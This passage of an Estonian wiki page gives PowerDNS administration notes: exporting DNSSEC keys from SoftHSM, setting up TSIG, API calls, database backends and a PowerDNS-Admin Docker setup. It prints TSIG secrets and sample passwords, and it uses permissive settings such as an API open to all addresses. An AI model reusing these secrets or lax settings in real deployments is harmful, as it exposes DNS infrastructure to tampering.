* esmalt lülitada dnssec välja, kustutades DS kirje parent tsoonist ja oodates vähemalt DS kirje TTL aja enne järgmise punkti juurde asumist; seejärel on tsooni sisu endine st vanade võtmetega signeeritud andmestik&lt;br /&gt;
* tegevused eelmises punktis + uute võtmetega krüptimine&lt;br /&gt;
* asuda kasutama uute võtmetega krüptitud tsooni sisu, ja oodata nt 6 tundi&lt;br /&gt;
* juurutada parent tsoonis uus DS kirje&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla OpenDNSSEC keskkonnast koos vana KSK krüptomaterjaliga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et OpenDNSSEC kasutab SoftHSM backendi saab KSK krüptomaterjalid eksportida ja taaskasutada. Ettevalmistuseks tuleb kõnealune tsoon muus osas tavalisel viisil kasutusele võtta. SoftHSM pealt krüptomaterjali eksportimiseks tuleb esmalt teha kindlaks kolm väärust&lt;br /&gt;
&lt;br /&gt;
* SoftHSM label ja pin vaadata nt /etc/opendnssec/conf.xml failist&lt;br /&gt;
* kõnealuse tsooni ksk võtme id, vaadata KSK active realt tulp 'CKA_ID'&lt;br /&gt;
&lt;br /&gt;
 # ods-ksmutil key list -v&lt;br /&gt;
&lt;br /&gt;
sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # softhsm --export moraal.ee-ksk.pem --slot 0 --label &amp;quot;vaartus&amp;quot; --pin vaartus --id vaartus&lt;br /&gt;
 The key pair has been written to moraal.ee-ksk.pem&lt;br /&gt;
&lt;br /&gt;
teisendada nn BIND kujule&lt;br /&gt;
&lt;br /&gt;
 # softhsm-keyconv --tobind --in ksk.pem --name moraal.ee --ksk --algorithm RSASHA256&lt;br /&gt;
 The private key has been written to Kmoraal.ee+008+09122.private&lt;br /&gt;
 The public key has been written to Kmoraal.ee+008+09122.key&lt;br /&gt;
&lt;br /&gt;
ning võtta kasutusele PowerDNS juures&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil import-zone-key moraal.ee Kksk+008+53675.private active ksk&lt;br /&gt;
&lt;br /&gt;
Edasi seadistatakse DNSSEC analoogliselt nagu seada ikka PowerDNS puhul seadistatakse. Kusjuures 'pdnsutil import-zone-key ...' tulemus on sarnane nagu oleks öeldud&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.molnar-peter.hu/en/&lt;br /&gt;
&lt;br /&gt;
====pdns-control utiliidi kasutamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS kus on master tsoon saadab notify oma slavedele (nagu on tsoonifaili NS kirjetes kirjas)&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify &amp;lt;domain&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või näidatud ip aadressile&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify-host &amp;lt;domain&amp;gt; &amp;lt;ip-address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===TSIG kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimeserverite vahelise tsooniedastuse juures TSIG juurutamiseks tuleb esmalt tekitada võti&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil generate-tsig-key from_dns_to_itm hmac-sha256&lt;br /&gt;
 Generating new key with 64 bytes (this can take a while)&lt;br /&gt;
 Nov 26 13:10:37 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Create new TSIG key from_dns_to_itm hmac-sha256 WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
ning seejärel võti ühe või enama tsooniedastusega seostada&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil activate-tsig-key moraal.ee from_dns_to_itm master&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
Nov 26 14:09:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
This is a Master zone&lt;br /&gt;
Last SOA serial number we notified: 2016112602 == 2016112602 (serial in the database)&lt;br /&gt;
Zone is not actively secured&lt;br /&gt;
Zone has following allowed TSIG key(s): from_dns_to_itm&lt;br /&gt;
Metadata items: &lt;br /&gt;
        SOA-EDIT-API    DEFAULT&lt;br /&gt;
        TSIG-ALLOW-AXFR from_dns_to_itm&lt;br /&gt;
No keys for zone 'moraal.ee'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kontrolliks sobib kopeerida öeldes&lt;br /&gt;
&lt;br /&gt;
 $ dig @192.168.1.248 moraal.ee axfr -y &amp;quot;hmac-sha256:from_dns_to_itm:WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures vastuses on üks preudokirje lisaks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 from_dns_to_itm.        0       ANY     TSIG    hmac-sha256. 1480164029 300 32 t96WhnpNiAiL5KHXa8UzNthM6/p3ciQptF3Br2ZfhFk= 3538 NOERROR 0&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Sama TSIG võtit saab kasutada mitme tsooni jaoks ja nii on mugavam nt NSD patternit kasutada&lt;br /&gt;
* tundub, et tsooni jaoks TSIG juurutamisega kaasneb, et tsooni kopeerimise ip piirang enam ei kehti (lubatud ip pealt pöördudes ei ole võtme esitamine vajalik)&lt;br /&gt;
* kui tsooni juures on tsig sisse lülitatud, siis see mõjub nii notify kui xfr jaoks&lt;br /&gt;
* TSIG pseudokirjete arv suureneb vastavalt tsooni mahu suurenemisele, https://tools.ietf.org/html/rfc2845 'The TSIG MUST be included on the first and last DNS envelopes.  It can be optionally placed on any intermediary envelopes. It is expensive to include it on every envelopes, but it MUST be placed on at least every 100'th envelope.'&lt;br /&gt;
&lt;br /&gt;
Alternatiiv on kasutada -y asemel -k suvandit ja argumendiks failinime, faili sisuga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
key &amp;quot;from_yks_to_teine&amp;quot; {&lt;br /&gt;
algorithm HMAC-SHA256;&lt;br /&gt;
secret &amp;quot;YY8xvlL6yGjrt1G4xlfLBaidQOFdvixHgRXN6tXUPMitEKZUs7kl7qixJ0nSN1bbDJQxaFGkoKkBamNS7EPXbw==&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===API kasutamine===&lt;br /&gt;
&lt;br /&gt;
Üle API muudatuse tegemiseks peab eelnevalt PowerDNS serveris lülitama API sisse ning sisemise webserver käivitama&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.conf&lt;br /&gt;
 ..&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=apiparool&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ja kasutama nt sellist skripti (töökohaarvutis on seejuures abil kasutada nt jq utiliiti)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat pdns-api.sh&lt;br /&gt;
curl -X PATCH --data \&lt;br /&gt;
'{&amp;quot;rrsets&amp;quot;: &lt;br /&gt;
  [{ &amp;quot;name&amp;quot;: &amp;quot;www.moraal.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [{ &amp;quot;content&amp;quot;: &amp;quot;192.168.254.5&amp;quot;, &amp;quot;disabled&amp;quot;: false }],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 86000,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;A&amp;quot;,&lt;br /&gt;
      &amp;quot;changetype&amp;quot;: &amp;quot;REPLACE&amp;quot;&lt;br /&gt;
  }]&lt;br /&gt;
}' -H 'X-API-Key: midagisalajast123' http://192.168.1.248:8081/api/v1/servers/localhost/zones/moraal.ee. | jq .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
kas käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 $ sh pdns-api.sh&lt;br /&gt;
&lt;br /&gt;
API'ga tutvumiseks võib olla hea mõte kuulata pealt mingi olemasoleva API-rakenduse ja serveri vahelist liiklust ja siis seda Wireshark abil uurida.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/httpapi/README/ - tundub, et süntaks pole seal kõigis näidetes päris korrektne&lt;br /&gt;
&lt;br /&gt;
===PowerDNS kasutusstatistika===&lt;br /&gt;
&lt;br /&gt;
PowerDNS sisaldab sisemist veebiserverit, mille käest saab küsida teenuse kasutusstatistikat, TODO.&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et vaikimisi logitakse syslog'i.&lt;br /&gt;
&lt;br /&gt;
===Varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine operatsioonisüsteemi paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öelda, tuleb paigalda üldosa + mingi backend, nt BIND-ühilduvate tsoonifailide käsitlemise komponent (st failisüsteem)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-bind&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib failisüsteemi&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/pdns.conf - peamine seadistusfail&lt;br /&gt;
&lt;br /&gt;
====MySQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====pdns-backend-mysql paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et MySQL baas juba töötab samas arvutis, sobib paigaldamiseks sobib öelda (seejuures kasutades db-config sistemat, mis paigaldamise käigus tekitab create database baasi, kasutaja, sätib privileegid jne)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-backend-mysql&lt;br /&gt;
 ..&lt;br /&gt;
 Determining localhost credentials from /etc/mysql/debian.cnf: succeeded.&lt;br /&gt;
 dbconfig-common: writing config to /etc/dbconfig-common/pdns-backend-mysql.conf&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/dbconfig-common/pdns-backend-mysql.conf with new version&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/powerdns/pdns.d/pdns.local.gmysql.conf with new version&lt;br /&gt;
 checking privileges on database pdns for pdns@localhost: user creation needed.&lt;br /&gt;
 granting access to database pdns for pdns@localhost: success.&lt;br /&gt;
 verifying access for pdns@localhost: success.&lt;br /&gt;
 creating database pdns: success.&lt;br /&gt;
 verifying database pdns exists: success.&lt;br /&gt;
 populating database via sql...  done.&lt;br /&gt;
 dbconfig-common: flushing administrative password&lt;br /&gt;
 Processing triggers for libc-bin (2.24-3) ...&lt;br /&gt;
 Processing triggers for pdns-server (4.0.1-5) ...&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
* tekitatakse MySQL kasutaja pdns&lt;br /&gt;
* tekitatakse MySQL create database pdns&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tundub, et otsekoheselt failisüsteemis tsoonifaili redigeerimise teel on mõeldav töötada ainult BIND-formaadis backendiga. Muudega tuleks kasutada pdnsutil utiliiti või API liidest. Tsoonide nimekiri kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/named.conf&lt;br /&gt;
 # Debian default: supermaster created zones are written here:&lt;br /&gt;
 include &amp;quot;/var/lib/powerdns/supermaster.conf&amp;quot;;&lt;br /&gt;
 # Example for a manually configured slave zone:&lt;br /&gt;
 #&lt;br /&gt;
 zone &amp;quot;example.net&amp;quot; {&lt;br /&gt;
    file &amp;quot;/var/lib/powerdns/zones.slave.d/example.net.zone&amp;quot;;&lt;br /&gt;
    type master;&lt;br /&gt;
    masters { 192.0.2.53; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Tsoon kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/powerdns/zones.slave.d/example.net.zone&lt;br /&gt;
 $TTL 180&lt;br /&gt;
 @           IN    SOA     ns1.example.net.      hostmaster.example.net. (&lt;br /&gt;
                        2014080705      ; Serial Number (date YYYYMMDD++)&lt;br /&gt;
                        86400           ; Refresh (24 hours)&lt;br /&gt;
                        1800            ; Retry (1/2 hour)&lt;br /&gt;
                        3600000         ; Expire (42 days)&lt;br /&gt;
                        21600)          ; Minimum (6 hours)&lt;br /&gt;
                        IN      NS      ns1.example.net.&lt;br /&gt;
                        IN      NS      ns2.example.net.&lt;br /&gt;
 &lt;br /&gt;
 @           IN    A       192.168.0.15&lt;br /&gt;
             IN    MX   10 mail.example.net.&lt;br /&gt;
 www         IN    A       192.168.0.15&lt;br /&gt;
 mail        IN    A       192.168.0.2&lt;br /&gt;
 ns1         IN    A       10.1.1.171&lt;br /&gt;
 ns2         IN    A       10.1.1.172&lt;br /&gt;
 imre        IN    A       10.1.1.173&lt;br /&gt;
&lt;br /&gt;
Muudatuse kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control bind-reload-now example.net&lt;br /&gt;
 example.net:    parsed into memory at 2016-10-26 20:43:14 +0300&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
pdns-backend-bind seadistatakse failist&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.d/bind.conf &lt;br /&gt;
 launch+=bind&lt;br /&gt;
 bind-config=/etc/powerdns/named.conf&lt;br /&gt;
 bind-supermaster-config=/var/lib/powerdns/supermaster.conf&lt;br /&gt;
 bind-supermaster-destdir=/var/lib/powerdns/zones.slave.d&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/named.conf - tsoonide nimekiri&lt;br /&gt;
* /var/lib/powerdns/supermaster.conf - lihtsal juhul tühi&lt;br /&gt;
* /var/lib/powerdns/zones.slave.d - BIND formaadis tsoonifailide kataloog&lt;br /&gt;
&lt;br /&gt;
Tsoonide haldamisega tegeleb edasi allpool olev punkt.&lt;br /&gt;
&lt;br /&gt;
====Poweradmin====&lt;br /&gt;
&lt;br /&gt;
Märkus: tõenäoliselt ei ole Poweradmin tarvkara kasutamine hea mõte kuna rakendus sodib otse PowerDNS andmebaasis ja 2016 aasta sügisel on hakanud tekkima paremaid alternatiive, nt nsedit.&lt;br /&gt;
&lt;br /&gt;
Poweradmin kasutamiseks peab PowerDNS kasutama SQL andmebaasi ja Poweradmin peab töötama vastu sama andmebaasi. Tundub, et Poweradmin töötab paremini MySQL + PHP5 keskkonnas. Kui Poweradmin PHP rakendus töötab teises arvutis kui MySQL baas, sobib baasis öelda&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'%' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'localhost' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; flush privileges;&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
 Added retrieval request for 'moraal.ee.' from master 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-powerdns-with-a-mariadb-backend-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
====Tsooni andmestikust otsing====&lt;br /&gt;
&lt;br /&gt;
* Kõigi forward tsoonide sisust ip aadressi kasutamise leidmine&lt;br /&gt;
&lt;br /&gt;
 # for i in `pdns_control list-zones | grep -v All | grep -v in-addr`; do pdnsutil list-zone $i 2&amp;gt;&amp;amp;1 ; done | grep 10.20.123.154&lt;br /&gt;
 ftp.moraal.ee	300	IN	A	10.20.123.154&lt;br /&gt;
&lt;br /&gt;
===2024 aasta kevade tähelepanekud===&lt;br /&gt;
&lt;br /&gt;
Eesmärk&lt;br /&gt;
&lt;br /&gt;
* ühe operatsioonisüteemi peal kompaktselt lahenduse pidamine - Debian v. 12&lt;br /&gt;
* dns server - PowerDNS&lt;br /&gt;
* webgui haldusliides - PowerDNS-Admin (PDA)&lt;br /&gt;
* dnssec võimekus&lt;br /&gt;
* docker abil kasutatakse konteinerit (PDA)&lt;br /&gt;
* andmeid hoitakse PostgreSQL andmebaasis&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* dnssec kasutab algoritmi nr 13&lt;br /&gt;
* NSEC3 kasutab '1 0 0 -' seadistust&lt;br /&gt;
* sekundaarsete nimeserveritega suhtlemine toimub catalog-zones abil&lt;br /&gt;
* kasutatakse KSK/ZSK ja CSK lähenemist võtmete pidamisel&lt;br /&gt;
&lt;br /&gt;
Protseduuride võimekus&lt;br /&gt;
&lt;br /&gt;
* NSEC, NSEC3 ja NSEC3 param väärtuste muutmine&lt;br /&gt;
* võtme vahetus&lt;br /&gt;
* krüptimise algoritmi vahetus&lt;br /&gt;
&lt;br /&gt;
====Platvormi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
Platvorm koosneb&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 operatsioonisüsteem&lt;br /&gt;
* Docker Community Edition&lt;br /&gt;
* PostgreSQL v. 12&lt;br /&gt;
* NginX&lt;br /&gt;
&lt;br /&gt;
PostgreSQL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-common&lt;br /&gt;
root@pdns:/tmp# mkdir /etc/postgresql-common/createcluster.d&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;initdb_options = '--data-checksums'&amp;quot; &amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;create_main_cluster = false&amp;quot; &amp;gt;&amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-16&lt;br /&gt;
root@pdns:/tmp# pg_createcluster --locale en_US.UTF-8 16 pgcluster_pdns_prod&lt;br /&gt;
 &lt;br /&gt;
postgres=# \x&lt;br /&gt;
Expanded display is on.&lt;br /&gt;
postgres=# \l postgres&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+------------&lt;br /&gt;
Name              | postgres&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
ICU Locale        | &lt;br /&gt;
ICU Rules         | &lt;br /&gt;
Access privileges | &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pdns login;&lt;br /&gt;
sql&amp;gt; \password pdns&lt;br /&gt;
sql&amp;gt; create database db_pdns owner = pdns;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pda login;&lt;br /&gt;
sql&amp;gt; \password pda&lt;br /&gt;
sql&amp;gt; create database db_pda owner = pda;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS paigaldamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS ise ja tema tööks otseselt vajalikud komponendid (nt PostgreSQL andmebaas) töötavad nö tavalisel viisil operatsioonisüsteemi protsesside-teenustena st mitte-konteineritena.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install pdns-server pdns-backend-pgsql pdns-tools&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitatakse pdns server ja tema bind backend.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
PostgreSQL backend kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
Password for user pdns: &lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Baasi ligipääs jms kirjeldatakse failis, https://doc.powerdns.com/authoritative/backends/generic-postgresql.html#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# egrep -v &amp;quot;^#|^$&amp;quot; /etc/powerdns/pdns.d/gpgsql.conf&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dbname=db_pdns&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-host=127.0.0.1&lt;br /&gt;
gpgsql-password=parool&lt;br /&gt;
gpgsql-port=5432&lt;br /&gt;
gpgsql-user=pdns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
bind eemaldamiseks sobib kustutada fail&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/powerdns/pdns.d/bind.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab pdns server, gpgsql backendiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2024-06-16T16:44:00.877817+03:00 pdns systemd[1]: Starting pdns.service - PowerDNS Authoritative Server...&lt;br /&gt;
2024-06-16T16:44:00.906026+03:00 pdns pdns_server[3916]: Loading '/usr/lib/x86_64-linux-gnu/pdns/libgpgsqlbackend.so'&lt;br /&gt;
2024-06-16T16:44:00.906356+03:00 pdns pdns_server[3916]: This is a standalone pdns&lt;br /&gt;
2024-06-16T16:44:00.906408+03:00 pdns pdns_server[3916]: Listening on controlsocket in '/run/pdns/pdns.controlsocket'&lt;br /&gt;
2024-06-16T16:44:00.906668+03:00 pdns pdns_server[3916]: UDP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906684+03:00 pdns pdns_server[3916]: UDP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906735+03:00 pdns pdns_server[3916]: TCP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906750+03:00 pdns pdns_server[3916]: TCP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906866+03:00 pdns pdns_server[3916]: PowerDNS Authoritative Server 4.9.1 (C) PowerDNS.COM BV&lt;br /&gt;
2024-06-16T16:44:00.906881+03:00 pdns pdns_server[3916]: Using 64-bits mode. Built using gcc 12.2.0 on May 28 2024 07:46:05 by root@localhost.&lt;br /&gt;
2024-06-16T16:44:00.906891+03:00 pdns pdns_server[3916]: PowerDNS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it according to the terms of the GPL version 2.&lt;br /&gt;
2024-06-16T16:44:00.915255+03:00 pdns pdns_server[3916]: Polled security status of version 4.9.1 at startup, no known issues reported: OK&lt;br /&gt;
2024-06-16T16:44:00.926644+03:00 pdns pdns_server[3916]: Creating backend connection for TCP&lt;br /&gt;
2024-06-16T16:44:00.935773+03:00 pdns pdns_server[3916]: About to create 3 backend threads for UDP&lt;br /&gt;
2024-06-16T16:44:00.935850+03:00 pdns systemd[1]: Started pdns.service - PowerDNS Authoritative Server.&lt;br /&gt;
2024-06-16T16:44:01.086206+03:00 pdns pdns_server[3916]: Done launching threads, ready to distribute questions&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ühtegi tsooni ei ole kirjeldatud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# pdnsutil list-all-zones&lt;br /&gt;
root@pdns:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS seadistamine====&lt;br /&gt;
&lt;br /&gt;
Seadistamisel tegeldakse&lt;br /&gt;
&lt;br /&gt;
* api sisselülitamine (PDA jaoks)&lt;br /&gt;
* SOA kirje vaikeväärtused&lt;br /&gt;
* DNSSEC vaike krüpto&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - PDA - docker====&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin tarvkara töötab docker konteinerina, aga kasutab host arvutist postgresql andmebaasi. Platvorm ettevalmistamine punktis on vajalik kasutaja ja create database tekitatud. PDA kasutamine eeldab, et PDNS juures on sisse lülitatud api liides (vaikimisi http liiklus üle port 8081).&lt;br /&gt;
&lt;br /&gt;
Docker compose fail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# cat docker-compose-pda.yml&lt;br /&gt;
services:&lt;br /&gt;
  svc_pda:&lt;br /&gt;
    image: powerdnsadmin/pda-legacy:v0.4.2&lt;br /&gt;
     &lt;br /&gt;
    container_name: cn_pda&lt;br /&gt;
    restart: always&lt;br /&gt;
    logging:&lt;br /&gt;
      driver: json-file&lt;br /&gt;
      options:&lt;br /&gt;
        max-size: 50m&lt;br /&gt;
    ports:&lt;br /&gt;
      - &amp;quot;9191:80&amp;quot;&lt;br /&gt;
    environment:&lt;br /&gt;
      - SECRET_KEY='saladus'&lt;br /&gt;
      - SQLALCHEMY_DATABASE_URI=postgresql://pda:pdaparool@192.168.10.53/pda&lt;br /&gt;
      - GUNICORN_TIMEOUT=60&lt;br /&gt;
      - GUNICORN_WORKERS=2&lt;br /&gt;
      - GUNICORN_LOGLEVEL=DEBUG&lt;br /&gt;
      - OFFLINE_MODE=False&lt;br /&gt;
      - CSRF_COOKIE_SECURE=False&lt;br /&gt;
 &lt;br /&gt;
    networks:&lt;br /&gt;
      - nw_pda&lt;br /&gt;
       &lt;br /&gt;
networks:&lt;br /&gt;
  nw_pda:&lt;br /&gt;
    name: nw_pda&lt;br /&gt;
    driver: bridge&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # docker compose -f docker-compose-pda.yml up -d&lt;br /&gt;
&lt;br /&gt;
Tulemusena on aadressil http://192.168.10.53:9191/ PDA webgui sisselogimise ekraan. Pressida Create Account ja esimesena tekitatud kasutaja on admin privileegidega.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX operatsioonisüsteem====&lt;br /&gt;
&lt;br /&gt;
NginX https:// frontend kasutamiseks sobib kasutada sellist seadistust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/etc/nginx/sites-enabled# cat /etc/nginx/sites-enabled/pdns &lt;br /&gt;
server {&lt;br /&gt;
    listen 80;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    if ($request_uri !~ /.well-known) {&lt;br /&gt;
      return 301 https://pdns.moraal.ee/;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
server {&lt;br /&gt;
